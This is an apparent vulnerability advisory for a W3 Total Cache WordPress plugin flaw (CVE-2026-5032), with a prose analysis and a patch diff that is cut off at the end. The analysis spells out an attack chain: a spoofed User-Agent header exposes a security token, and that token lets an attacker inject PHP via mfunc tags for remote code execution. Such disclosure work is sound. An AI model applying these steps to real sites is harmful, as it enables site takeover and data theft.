Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-5032: W3 Total Cache <= 2.9.3 – Unauthenticated Security Token Exposure via User-Agent Header (w3-total-cache)

CVE ID CVE-2026-5032
Severity High (CVSS 7.5)
CWE 200
Vulnerable Version 2.9.3
Patched Version 2.9.4
Disclosed March 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5032:
The vulnerability is an unauthenticated information disclosure and subsequent remote code execution flaw in the W3 Total Cache WordPress plugin, affecting versions up to and including 2.9.3. The core issue resides in the plugin’s output buffering logic, which can be bypassed by a client-controlled User-Agent header, leading to the exposure of a sensitive security token. This token is required for the plugin’s dynamic fragment caching feature.

Atomic Edge research identifies the root cause in the `can_ob()` method within the `BrowserCache_Plugin.php` file (lines 182-190 in the vulnerable version). The method checks if the `HTTP_USER_AGENT` server variable contains the string “W3 Total Cache” (defined by the `W3TC_POWERED_BY` constant). If it does, the function returns `false`, causing the plugin’s main `Generic_Plugin` class to skip its entire output buffering and processing pipeline. This pipeline is responsible for parsing and replacing special HTML comment tags like `` and `` that contain PHP code for dynamic fragment caching. When bypassed, these comments, along with the embedded `W3TC_DYNAMIC_SECURITY` token, are rendered directly in the page source.

An unauthenticated attacker can exploit this by sending a simple HTTP GET request to any page on a WordPress site with W3 Total Cache installed and the fragment caching feature enabled. The attacker sets the `User-Agent` header to a string containing “W3 Total Cache” (e.g., `User-Agent: Mozilla/5.0 W3 Total Cache`). If the requested page contains developer-placed dynamic fragment tags, the server’s response will include the raw `` comments. The attacker can then extract the `W3TC_DYNAMIC_SECURITY` constant value from the page source. With this token, the attacker can craft valid `mfunc` tags containing arbitrary PHP code and submit them to the site, which the plugin will execute, achieving remote code execution.

The patch, applied in version 2.9.4, removes the User-Agent check entirely from the `BrowserCache_Plugin::can_ob()` method. The vulnerable code block (lines 182-190) is replaced with a comment explaining the change: “Do not skip output buffering based on User-Agent (client-spoofable); see Generic_Plugin::can_ob().” The same fix is applied to the identical logic in `Generic_Plugin::can_ob()`. This ensures the output buffering pipeline always processes the page content when enabled, preventing the raw disclosure of security tokens. The patch correctly identifies the User-Agent header as a client-controlled value that should never be trusted for security-critical bypass decisions.

Successful exploitation leads to a complete compromise of the WordPress site. The leaked `W3TC_DYNAMIC_SECURITY` token is a static secret used to validate dynamic fragment cache tags. An attacker with this token can inject arbitrary PHP code into `mfunc` tags, which the plugin evaluates server-side. This grants the attacker the ability to execute operating system commands, create new administrative users, deface the site, install backdoors, and access or exfiltrate sensitive database content. The vulnerability requires no authentication and minimal request complexity, making it highly accessible to attackers.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/w3-total-cache/BrowserCache_Plugin.php
+++ b/w3-total-cache/BrowserCache_Plugin.php
@@ -182,13 +182,7 @@
 			return false;
 		}

-		/**
-		 * Check User Agent
-		 */
-		$http_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';
-		if ( stristr( $http_user_agent, W3TC_POWERED_BY ) !== false ) {
-			return false;
-		}
+		// Do not skip output buffering based on User-Agent (client-spoofable); see Generic_Plugin::can_ob().

 		return true;
 	}
--- a/w3-total-cache/Cache_Memcached.php
+++ b/w3-total-cache/Cache_Memcached.php
@@ -244,7 +244,7 @@
 	/**
 	 * Retrieves multiple cached values in a single request.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $keys  Cache keys.
 	 * @param string $group Cache group.
@@ -293,7 +293,7 @@
 	/**
 	 * Stores multiple values in a single request.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $items  Map of cache key => payload.
 	 * @param string $group  Cache group.
--- a/w3-total-cache/Cache_Redis.php
+++ b/w3-total-cache/Cache_Redis.php
@@ -426,7 +426,7 @@
 	/**
 	 * Retrieves multiple cached values in a single request.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $keys  Cache keys.
 	 * @param string $group Cache group.
@@ -479,7 +479,7 @@
 	/**
 	 * Stores multiple values in a single request.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $items  Map of cache key => payload.
 	 * @param string $group  Cache group.
--- a/w3-total-cache/Cdn_Core.php
+++ b/w3-total-cache/Cdn_Core.php
@@ -960,8 +960,10 @@
 				break;

 			case 'cloudflare':
-				$is_cdnfsd_authorized = ! empty( $cloudflare_config['email'] ) &&
-					! empty( $cloudflare_config['key'] ) &&
+				$is_cdnfsd_authorized = Extension_CloudFlare_Api::are_api_credentials_usable(
+					isset( $cloudflare_config['email'] ) ? $cloudflare_config['email'] : '',
+					isset( $cloudflare_config['key'] ) ? $cloudflare_config['key'] : ''
+				) &&
 					! empty( $cloudflare_config['zone_id'] ) &&
 					! empty( $cloudflare_config['zone_name'] );
 				break;
--- a/w3-total-cache/Cdn_Plugin.php
+++ b/w3-total-cache/Cdn_Plugin.php
@@ -110,7 +110,7 @@
 	 *
 	 * @return void
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 */
 	public function send_headers() {
 		$cdn_engine     = $this->_config->get_string( 'cdn.engine' );
--- a/w3-total-cache/DbCache_WpdbInjection_QueryCaching.php
+++ b/w3-total-cache/DbCache_WpdbInjection_QueryCaching.php
@@ -823,7 +823,7 @@
 	/**
 	 * Clears request-wide dbcache reject state so subsequent queries can be reconsidered.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
--- a/w3-total-cache/DbCache_WpdbLegacy.php
+++ b/w3-total-cache/DbCache_WpdbLegacy.php
@@ -250,7 +250,7 @@
 	/**
 	 * Returns the array of dbcache processors attached to this wpdb wrapper.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return array
 	 */
--- a/w3-total-cache/DbCache_WpdbNew.php
+++ b/w3-total-cache/DbCache_WpdbNew.php
@@ -242,7 +242,7 @@
 	/**
 	 * Returns the array of dbcache processors attached to this wpdb wrapper.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return array
 	 */
--- a/w3-total-cache/Extension_CloudFlare_Api.php
+++ b/w3-total-cache/Extension_CloudFlare_Api.php
@@ -55,13 +55,14 @@
 	/**
 	 * Constructs the Cloudflare API client with the provided configuration.
 	 *
-	 * @param array $config Configuration array containing 'email', 'key', 'zone_id', and 'timelimit_api_request'.
+	 * @param array $config Configuration array containing 'key', 'zone_id', and 'timelimit_api_request'.
+	 *                     'email' is required only for the legacy Global API key (37 characters); API tokens omit it.
 	 *
 	 * @return void
 	 */
 	public function __construct( $config ) {
-		$this->_email   = $config['email'];
-		$this->_key     = $config['key'];
+		$this->_email   = isset( $config['email'] ) ? trim( (string) $config['email'] ) : '';
+		$this->_key     = isset( $config['key'] ) ? trim( (string) $config['key'] ) : '';
 		$this->_zone_id = ( isset( $config['zone_id'] ) ? $config['zone_id'] : '' );

 		if ( ! isset( $config['timelimit_api_request'] ) ||
@@ -73,6 +74,49 @@
 	}

 	/**
+	 * Whether the key string is a legacy Global API Key (37 characters, legacy dashboard format).
+	 *
+	 * Any other length uses Bearer authentication for API tokens (including historical 40-character
+	 * tokens and newer Cloudflare token formats).
+	 *
+	 * @since 2.9.4
+	 *
+	 * @param string $key Raw key from settings or request.
+	 *
+	 * @return bool
+	 */
+	public static function is_legacy_global_api_key_string( $key ) {
+		$key = trim( (string) $key );
+
+		return 37 === strlen( $key );
+	}
+
+	/**
+	 * Whether email and key are sufficient to authenticate to the Cloudflare v4 API.
+	 *
+	 * Global API keys require the account email. API tokens only require a non-empty token.
+	 *
+	 * @since 2.9.4
+	 *
+	 * @param string $email Account email (may be empty when using an API token).
+	 * @param string $key   Global API key or API token.
+	 *
+	 * @return bool
+	 */
+	public static function are_api_credentials_usable( $email, $key ) {
+		$key = trim( (string) $key );
+		if ( '' === $key ) {
+			return false;
+		}
+
+		if ( self::is_legacy_global_api_key_string( $key ) ) {
+			return '' !== trim( (string) $email );
+		}
+
+		return true;
+	}
+
+	/**
 	 * Sends an external event notification to Cloudflare.
 	 *
 	 * @param string $type  The event type.
@@ -264,7 +308,7 @@
 	 * @throws Exception If authentication is missing or the request fails.
 	 */
 	private function _wp_remote_request( $method, $url, $body = array() ) {
-		if ( empty( $this->_email ) || empty( $this->_key ) ) {
+		if ( ! $this->_credentials_configured() ) {
 			throw new Exception( esc_html__( 'Not authenticated.', 'w3-total-cache' ) );
 		}

@@ -334,7 +378,7 @@
 	 * @throws Exception If authentication is missing or the request fails.
 	 */
 	private function _wp_remote_request_with_meta( $method, $url, $body = array() ) {
-		if ( empty( $this->_email ) || empty( $this->_key ) ) {
+		if ( ! $this->_credentials_configured() ) {
 			throw new Exception( esc_html__( 'Not authenticated.', 'w3-total-cache' ) );
 		}

@@ -404,7 +448,7 @@
 	 * @throws Exception If authentication is missing or the request fails.
 	 */
 	private function _wp_remote_request_graphql( $method, $url, $body ) {
-		if ( empty( $this->_email ) || empty( $this->_key ) ) {
+		if ( ! $this->_credentials_configured() ) {
 			throw new Exception( esc_html__( 'Not authenticated.', 'w3-total-cache' ) );
 		}

@@ -463,6 +507,33 @@
 	}

 	/**
+	 * Whether the stored key matches the legacy Global API Key format (X-Auth-Key + X-Auth-Email).
+	 *
+	 * Cloudflare Global API keys are 37 characters. API tokens use Bearer auth and are opaque strings
+	 * of varying lengths (including historical 40-character tokens and newer formats).
+	 *
+	 * @since 2.9.4
+	 *
+	 * @return bool
+	 */
+	private function _is_legacy_global_api_key() {
+		return self::is_legacy_global_api_key_string( $this->_key );
+	}
+
+	/**
+	 * Whether credentials are sufficient for the detected auth mode.
+	 *
+	 * API tokens require only a non-empty key. Legacy global keys also require the account email.
+	 *
+	 * @since 2.9.4
+	 *
+	 * @return bool
+	 */
+	private function _credentials_configured() {
+		return self::are_api_credentials_usable( $this->_email, $this->_key );
+	}
+
+	/**
 	 * Generates HTTP request headers for Cloudflare API requests.
 	 *
 	 * @return array The headers array for API requests.
@@ -470,27 +541,26 @@
 	 * @throws Exception If the authentication credentials are invalid or missing.
 	 */
 	private function _generate_wp_remote_request_headers() {
-		if ( empty( $this->_email ) || empty( $this->_key ) ) {
-			throw new Exception( esc_html__( 'Missing authentication email and/or API token / global key.', 'w3-total-cache' ) );
+		if ( ! $this->_credentials_configured() ) {
+			throw new Exception(
+				esc_html__(
+					'Missing API token, or Global API key with account email.',
+					'w3-total-cache'
+				)
+			);
 		}

-		$headers = array();
-
-		if ( 40 === strlen( $this->_key ) ) { // CF API Token.
-			$headers = array(
-				'Content-Type'  => 'application/json',
-				'Authorization' => 'Bearer ' . $this->_key,
-			);
-		} elseif ( 37 === strlen( $this->_key ) ) { // CF Legacy API Global Key.
-			$headers = array(
+		if ( $this->_is_legacy_global_api_key() ) {
+			return array(
 				'Content-Type' => 'application/json',
 				'X-Auth-Key'   => $this->_key,
 				'X-Auth-Email' => $this->_email,
 			);
-		} else {
-			throw new Exception( esc_html__( 'Improper API token / global key length.', 'w3-total-cache' ) );
 		}

-		return $headers;
+		return array(
+			'Content-Type'  => 'application/json',
+			'Authorization' => 'Bearer ' . $this->_key,
+		);
 	}
 }
--- a/w3-total-cache/Extension_CloudFlare_Page.php
+++ b/w3-total-cache/Extension_CloudFlare_Page.php
@@ -63,7 +63,7 @@
 		$key     = $c->get_string( array( 'cloudflare', 'key' ) );
 		$zone_id = $c->get_string( array( 'cloudflare', 'zone_id' ) );

-		if ( empty( $email ) || empty( $key ) || empty( $zone_id ) ) {
+		if ( empty( $zone_id ) || ! Extension_CloudFlare_Api::are_api_credentials_usable( $email, $key ) ) {
 			$state = 'not_configured';
 		} else {
 			$settings = array();
--- a/w3-total-cache/Extension_CloudFlare_Plugin_Admin.php
+++ b/w3-total-cache/Extension_CloudFlare_Plugin_Admin.php
@@ -205,8 +205,10 @@
 	public function w3tc_admin_bar_menu( $menu_items ) {
 		if (
 			$this->_config->get_boolean( array( 'cloudflare', 'enabled' ) ) &&
-			! empty( $this->_config->get_string( array( 'cloudflare', 'email' ) ) ) &&
-			! empty( $this->_config->get_string( array( 'cloudflare', 'key' ) ) ) &&
+			Extension_CloudFlare_Api::are_api_credentials_usable(
+				$this->_config->get_string( array( 'cloudflare', 'email' ) ),
+				$this->_config->get_string( array( 'cloudflare', 'key' ) )
+			) &&
 			! empty( $this->_config->get_string( array( 'cloudflare', 'zone_id' ) ) )
 		) {
 			$current_page = Util_Request::get_string( 'page', 'w3tc_dashboard' );
@@ -279,42 +281,53 @@
 		$action   = Util_Request::get_string( 'command' );
 		$value    = Util_Request::get_string( 'value' );
 		$nonce    = Util_Request::get_string( '_wpnonce' );
+		$error    = null;

 		if ( ! wp_verify_nonce( $nonce, 'w3tc' ) ) {
 			$error = 'Access denied.';
-		} elseif ( ! $email ) {
-			$error = 'Empty email.';
-		} elseif ( ! filter_var( $email, FILTER_VALIDATE_EMAIL ) ) {
-			$error = 'Invalid email.';
 		} elseif ( ! $key ) {
 			$error = 'Empty token / global key.';
-		} elseif ( ! $zone ) {
-			$error = 'Empty zone.';
-		} elseif ( strpos( $zone, '.' ) === false ) {
-			$error = 'Invalid domain.';
-		} elseif ( ! in_array( $action, $actions, true ) ) {
-			$error = 'Invalid action.';
-		} else {
-			$config = array(
-				'email' => $email,
-				'key'   => $key,
-				'zone'  => $zone,
-			);
-
-			@$this->api = new Extension_CloudFlare_Api( $config );
-
-			@set_time_limit( $this->_config->get_integer( array( 'cloudflare', 'timelimit.api_request' ) ) ); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
-			$response = $this->api->api_request( $action, $value );
+		} elseif ( Extension_CloudFlare_Api::is_legacy_global_api_key_string( $key ) ) {
+			if ( ! $email ) {
+				$error = 'Empty email.';
+			} elseif ( ! filter_var( $email, FILTER_VALIDATE_EMAIL ) ) {
+				$error = 'Invalid email.';
+			}
+		} elseif ( $email && ! filter_var( $email, FILTER_VALIDATE_EMAIL ) ) {
+			$error = 'Invalid email.';
+		} elseif ( ! Extension_CloudFlare_Api::are_api_credentials_usable( $email, $key ) ) {
+			$error = 'Invalid authentication (API token, or Global API key with account email).';
+		}

-			if ( $response ) {
-				if ( 'success' === $response->result ) {
-					$result = true;
-					$error  = 'OK';
+		if ( null === $error ) {
+			if ( ! $zone ) {
+				$error = 'Empty zone.';
+			} elseif ( strpos( $zone, '.' ) === false ) {
+				$error = 'Invalid domain.';
+			} elseif ( ! in_array( $action, $actions, true ) ) {
+				$error = 'Invalid action.';
+			} else {
+				$config = array(
+					'email' => $email,
+					'key'   => $key,
+					'zone'  => $zone,
+				);
+
+				@$this->api = new Extension_CloudFlare_Api( $config );
+
+				@set_time_limit( $this->_config->get_integer( array( 'cloudflare', 'timelimit.api_request' ) ) ); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
+				$response = $this->api->api_request( $action, $value );
+
+				if ( $response ) {
+					if ( 'success' === $response->result ) {
+						$result = true;
+						$error  = 'OK';
+					} else {
+						$error = $response->msg;
+					}
 				} else {
-					$error = $response->msg;
+					$error = 'Unable to make Cloudflare API request.';
 				}
-			} else {
-				$error = 'Unable to make Cloudflare API request.';
 			}
 		}

@@ -365,7 +378,7 @@
 		$email = $this->_config->get_string( array( 'cloudflare', 'email' ) );
 		$key   = $this->_config->get_string( array( 'cloudflare', 'key' ) );

-		if ( empty( $email ) || empty( $key ) ) {
+		if ( ! Extension_CloudFlare_Api::are_api_credentials_usable( $email, $key ) ) {
 			return $actions;
 		}

--- a/w3-total-cache/Extension_ImageService_Environment.php
+++ b/w3-total-cache/Extension_ImageService_Environment.php
@@ -150,7 +150,7 @@
 	/**
 	 * Generate AVIF rewrite rules (higher priority).
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @see Dispatcher::nginx_rules_for_browsercache_section()
 	 *
@@ -266,7 +266,7 @@
 	/**
 	 * Generate WebP rewrite rules (lower priority than AVIF).
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @see Dispatcher::nginx_rules_for_browsercache_section()
 	 *
--- a/w3-total-cache/Generic_Plugin.php
+++ b/w3-total-cache/Generic_Plugin.php
@@ -45,31 +45,6 @@
 	private $frontend_notice;

 	/**
-	 * Output buffer nesting level recorded at ob_start() time.
-	 *
-	 * Used by ob_shutdown() to identify which buffer level belongs to W3TC.
-	 *
-	 * @since 2.9.2
-	 *
-	 * @var int
-	 */
-	private $_ob_level = 0;
-
-	/**
-	 * Guards against ob_shutdown() being invoked twice.
-	 *
-	 * Function `ob_shutdown()` is registered both as a WordPress 'shutdown' action
-	 * (priority 0, so it runs before wp_ob_end_flush_all at priority 1) and as
-	 * a PHP shutdown function (fallback for abnormal termination). This flag
-	 * ensures the second invocation is a no-op.
-	 *
-	 * @since 2.9.2
-	 *
-	 * @var bool
-	 */
-	private $_ob_shutdown_done = false;
-
-	/**
 	 * Constructor
 	 *
 	 * @return void
@@ -124,32 +99,10 @@
 		}

 		if ( $this->can_ob() ) {
-			add_filter( 'wp_die_ajax_handler', array( $this, 'wp_die_handler' ) );
-			add_filter( 'wp_die_json_handler', array( $this, 'wp_die_handler' ) );
 			add_filter( 'wp_die_xml_handler', array( $this, 'wp_die_handler' ) );
 			add_filter( 'wp_die_handler', array( $this, 'wp_die_handler' ) );

-			/*
-			 * Register with no callback so no display-handler restriction applies.
-			 * ob_callback() is invoked explicitly in ob_shutdown() instead.
-			 * PHP's display-handler restriction (ob_start() forbidden inside a
-			 * callback) made every ob flush mechanism unsafe for mfunc processing.
-			 */
-			ob_start();
-			$this->_ob_level = ob_get_level();
-
-			/*
-			 * Hook into WordPress 'shutdown' at priority 0 so ob_shutdown runs
-			 * before wp_ob_end_flush_all (priority 1). ob_shutdown processes the
-			 * buffer, places the result in a fresh ob_start() buffer, and removes
-			 * wp_ob_end_flush_all so it cannot flush that buffer prematurely.
-			 * PHP auto-flushes all open buffers at true end-of-script, after every
-			 * register_shutdown_function callback has run.
-			 * The PHP shutdown function below is a fallback for abnormal
-			 * termination paths where the WordPress 'shutdown' action may not fire.
-			 */
-			add_action( 'shutdown', array( $this, 'ob_shutdown' ), 0 );
-			register_shutdown_function( array( $this, 'ob_shutdown' ) );
+			ob_start( array( $this, 'ob_callback' ) );
 		}

 		$this->register_plugin_check_filters();
@@ -608,8 +561,10 @@
 				if (
 					$this->_config->get_boolean( 'cdnfsd.enabled' ) &&
 					'cloudflare' === $this->_config->get_string( 'cdnfsd.engine' ) &&
-					! empty( $this->_config->get_string( array( 'cloudflare', 'email' ) ) ) &&
-					! empty( $this->_config->get_string( array( 'cloudflare', 'key' ) ) ) &&
+					Extension_CloudFlare_Api::are_api_credentials_usable(
+						$this->_config->get_string( array( 'cloudflare', 'email' ) ),
+						$this->_config->get_string( array( 'cloudflare', 'key' ) )
+					) &&
 					! empty( $this->_config->get_string( array( 'cloudflare', 'zone_id' ) ) ) &&
 					in_array( 'cloudflare', array_keys( Extensions_Util::get_active_extensions( $this->_config ) ), true ) &&
 					(
@@ -1054,178 +1009,10 @@
 			return false;
 		}

-		/**
-		 * Check User Agent
-		 */
-		$http_user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '';
-		if ( stristr( $http_user_agent, W3TC_POWERED_BY ) !== false ) {
-			return false;
-		}
-
-		return true;
-	}
-
-	/**
-	 * Processes and outputs the W3TC output buffer at shutdown time.
-	 *
-	 * Registered both as a WordPress 'shutdown' action (priority 0) and as a
-	 * PHP shutdown function (fallback for abnormal termination). The flag
-	 * $_ob_shutdown_done prevents double-invocation.
-	 *
-	 * ob_callback() is invoked explicitly here rather than as a PHP display
-	 * handler, because display handlers (callbacks invoked during ob_end_clean,
-	 * ob_end_flush, or PHP's own buffer cleanup) set PHP's internal ob_lock
-	 * flag, which forbids any nested ob_start() call. _parse_dynamic_mfunc()
-	 * requires ob_start() to capture eval() output, so it must not run inside
-	 * a display handler. The ob_start() in run() is registered with no callback
-	 * to ensure no display handler is ever registered for our buffer.
-	 *
-	 * After processing the buffer, output is placed into a fresh ob_start()
-	 * buffer rather than echoed directly. wp_ob_end_flush_all (priority 1) is
-	 * removed so it cannot flush that buffer early. PHP then auto-flushes all
-	 * open output buffers after every shutdown function has run, which keeps
-	 * response headers open for any remaining shutdown handlers (e.g. late
-	 * setcookie() or header() calls from other plugins or session libraries).
-	 * The same removal runs on the early-return path when our buffer was
-	 * already closed, so Core does not flush at priority 1 before those hooks.
-	 *
-	 * @since 2.9.2
-	 *
-	 * @return void
-	 */
-	public function ob_shutdown() {
-		if ( $this->_ob_shutdown_done ) {
-			return;
-		}
-
-		$this->_ob_shutdown_done = true;
-
-		/*
-		 * For non-HTML response types (e.g. application/json from AJAX plugins like
-		 * FacetWP that do not define DOING_AJAX), discard nested output buffer
-		 * contents rather than flushing them down into ours. Nested OBs opened by
-		 * themes or plugins during the request may contain partial page HTML that
-		 * must not be prepended to a JSON response body.
-		 *
-		 * For standard HTML responses, flush nested OBs so their content reaches
-		 * W3TC's buffer and is processed (minified, CDN-rewritten, cached, etc.).
-		 */
-		$is_html = $this->_is_html_response();
-
-		/*
-		 * Flush (or discard) any nested output buffers added by WordPress or other
-		 * plugins, so their content is included in (or excluded from) ours.
-		 */
-		while ( ob_get_level() > $this->_ob_level ) {
-			if ( $is_html ) {
-				ob_end_flush();
-			} else {
-				ob_end_clean();
-			}
-		}
-
-		if ( ob_get_level() < $this->_ob_level ) {
-			/*
-			 * Our buffer was already closed (e.g. by a redirect or wp_die). Still
-			 * remove wp_ob_end_flush_all so shutdown priority 1 does not flush
-			 * remaining buffers before later hooks (e.g. setcookie at priority 999).
-			 * When headers are already committed, late header() calls still fail
-			 * harmlessly; when output remains buffered elsewhere, this preserves
-			 * compatibility with session/cookie finalization on shutdown.
-			 */
-			remove_action( 'shutdown', 'wp_ob_end_flush_all', 1 );
-			return;
-		}
-
-		/*
-		 * Read the buffer and close it. Because ob_start() was registered with
-		 * no callback, ob_get_clean() never triggers a display handler, so
-		 * ob_start() calls inside ob_callback() (e.g. _parse_dynamic_mfunc)
-		 * are permitted.
-		 */
-		$buffer = (string) ob_get_clean();
-
-		/*
-		 * Run the W3TC processing pipeline for HTML responses and for WordPress
-		 * REST API requests (where REST_REQUEST is defined). For other non-HTML
-		 * responses (e.g. FacetWP or other AJAX endpoints that return JSON
-		 * containing HTML snippets), skip ob_callback() entirely to avoid
-		 * running lazy load or other HTML processors over the payload.
-		 *
-		 * REST API responses need ob_callback() so the pagecache callback can
-		 * write them to cache when pgcache.rest is set to 'cache'. Other
-		 * ob_callback() processors (minify, CDN, lazyload, etc.) are safe for
-		 * REST JSON because can_print_comment() / is_html_xml() return false,
-		 * preventing HTML-only modifications from being applied.
-		 */
-		if ( $is_html || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
-			$buffer = $this->ob_callback( $buffer );
-		}
-
-		/*
-		 * Place the processed output into a new, callback-free buffer instead of
-		 * echoing it directly. This keeps response headers open so that any
-		 * remaining shutdown handlers at higher priorities — or registered PHP
-		 * shutdown functions — can still call setcookie() / header() without
-		 * triggering a "headers already sent" warning.
-		 *
-		 * Removing wp_ob_end_flush_all (shutdown priority 1) prevents a premature
-		 * flush of this buffer during the WordPress shutdown action. PHP
-		 * automatically flushes all open output buffers at true end-of-script,
-		 * after every register_shutdown_function callback has completed.
-		 */
-		ob_start();
-		echo $buffer; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-		remove_action( 'shutdown', 'wp_ob_end_flush_all', 1 );
-	}
-
-	/**
-	 * Determines whether the current HTTP response is an HTML (or XML) content type.
-	 *
-	 * Used by ob_shutdown() to decide whether to flush or discard nested output
-	 * buffers. For HTML responses, nested OB content (from themes/plugins) should
-	 * be included in W3TC's buffer. For non-HTML responses (e.g. application/json
-	 * from AJAX plugins), nested OB content should be discarded so it cannot
-	 * contaminate the response.
-	 *
-	 * When no Content-Type header has been sent yet the response defaults to HTML,
-	 * so true is returned.
-	 *
-	 * @since 2.9.3
-	 *
-	 * @return bool True if the response is HTML/XML, false otherwise.
-	 */
-	protected function _is_html_response() {
-		$html_types = array(
-			'text/html',
-			'text/xml',
-			'text/xsl',
-			'application/xhtml+xml',
-			'application/rss+xml',
-			'application/atom+xml',
-			'application/rdf+xml',
-			'application/xml',
-		);
-
-		foreach ( headers_list() as $header ) {
-			$header = strtolower( $header );
-			if ( strpos( $header, 'content-type:' ) === false ) {
-				continue;
-			}
-
-			foreach ( $html_types as $type ) {
-				if ( strpos( $header, $type ) !== false ) {
-					return true;
-				}
-			}
-
-			// A Content-Type header is present but it is not one of the HTML/XML
-			// types above (e.g. application/json, text/plain). Treat as non-HTML.
-			return false;
-		}
+		// Do not skip output buffering based on User-Agent: the value is client-controlled.
+		// A request claiming "W3 Total Cache" would previously bypass ob_callback, skipping
+		// page-cache processing and leaking W3TC_DYNAMIC_SECURITY from unprocessed mfunc/mclude.

-		// No Content-Type header sent yet — default to treating as HTML so that
-		// standard WordPress page requests continue to work correctly.
 		return true;
 	}

--- a/w3-total-cache/Licensing_Plugin_Admin.php
+++ b/w3-total-cache/Licensing_Plugin_Admin.php
@@ -36,7 +36,7 @@
 	/**
 	 * Usermeta key for storing dismissed license notices.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @var string
 	 */
@@ -46,7 +46,7 @@
 	 * Time in seconds after which a dismissed notice can reappear if conditions persist.
 	 * Set to 6 days (automatic license check interval is 5 days).
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @var int
 	 */
@@ -58,7 +58,7 @@
 	 * The HLT (Hosted Login Token) in the billing URL is only valid for 19 minutes,
 	 * so we cache for 19 minutes to ensure users always get a valid token with some buffer.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @var int
 	 */
@@ -392,7 +392,7 @@
 	 * This is called on non-W3TC admin pages where the lightbox isn't already loaded.
 	 * Only enqueues if there's a license status that would display a notice.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -417,7 +417,7 @@
 	/**
 	 * Enqueues lightbox JavaScript and CSS assets.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -459,7 +459,7 @@
 	 * (lowercase letters, numbers, hyphens, underscores) and replaces
 	 * dots with hyphens for readability.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $status The license status to sanitize.
 	 *
@@ -559,7 +559,7 @@
 	 * Called on admin_enqueue_scripts to register the script early,
 	 * which can then be enqueued later when notices are displayed.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -616,7 +616,7 @@
 	/**
 	 * Generates a license notice based on the provided license status and key.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $status The current status of the license (e.g., 'active', 'expired').
 	 * @param string $license_key The license key associated with the plugin.
@@ -746,7 +746,7 @@
 	 * Uses transient caching to avoid making HTTP requests on every page load.
 	 * The URL is cached for 1 hour to balance freshness with performance.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $license_key The license key used to generate the billing URL.
 	 *
@@ -779,7 +779,7 @@
 	/**
 	 * Fetches the billing URL from the API.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $license_key The license key used to generate the billing URL.
 	 *
@@ -998,7 +998,7 @@
 	 *
 	 * Saves the dismissal timestamp in usermeta for persistent per-user dismissal.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -1034,7 +1034,7 @@
 	 *
 	 * Forces an immediate license check and clears cached billing URL.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @return void
 	 */
@@ -1068,7 +1068,7 @@
 	 * If the reset time has elapsed and the condition still persists, the dismissal
 	 * is cleared and the notice will show again.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $notice_id The unique identifier for the notice.
 	 *
@@ -1102,7 +1102,7 @@
 	 * Uses a targeted query to only retrieve users who have the specific notice dismissed,
 	 * rather than all users with any dismissed notices.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param string $notice_id The unique identifier for the notice to clear.
 	 *
--- a/w3-total-cache/ObjectCache_WpObjectCache_Regular.php
+++ b/w3-total-cache/ObjectCache_WpObjectCache_Regular.php
@@ -1194,7 +1194,7 @@
 	/**
 	 * Persist multiple cache entries using the most efficient method available.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param object $cache           Cache engine instance.
 	 * @param array  $payload         Map of cache_key => structured payload.
--- a/w3-total-cache/PageSpeed_Data.php
+++ b/w3-total-cache/PageSpeed_Data.php
@@ -65,7 +65,7 @@
 	/**
 	 * Collect core web vital metrics in a consistent format.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array  $data   PageSpeed data payload.
 	 * @param string $metric Lighthouse audit identifier.
@@ -83,7 +83,7 @@
 	/**
 	 * Log the raw metric keys and configured instruction keys when debugging is enabled.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
 	 *
 	 * @param array $pagespeed_data Prepared PageSpeed data.
 	 *
@@ -121,7 +121,7 @@
 	/**
 	 * Collect audits belonging to the given Lighthouse category group.
 	 *
-	 * @since 2.9.3
+	 * @since 2.9.4
